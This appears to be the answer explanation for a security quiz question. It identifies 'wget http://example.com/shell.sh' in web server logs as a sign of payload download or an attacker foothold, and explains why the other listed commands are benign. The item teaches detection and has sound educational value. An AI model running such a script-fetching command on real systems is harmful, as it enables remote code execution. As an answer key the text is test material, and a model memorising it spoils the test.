The correct answer is 'wget http://example.com/shell.sh'. The use of the wget command to download a script from an external source is often associated with the initial stages of an exploit or the download of a malicious payload. The web server logs showing this command being executed may suggest that the server is being used to retrieve and possibly execute a shell script from an untrusted source, potentially part of a command and control activity or initial foothold by an attacker. 'ls -l /var/www/html' is a common command to list files in the web server's root directory, 'tail -f /var/log/apache2/access.log' is used for real-time log monitoring, and 'service apache2 restart' is a legitimate service management command.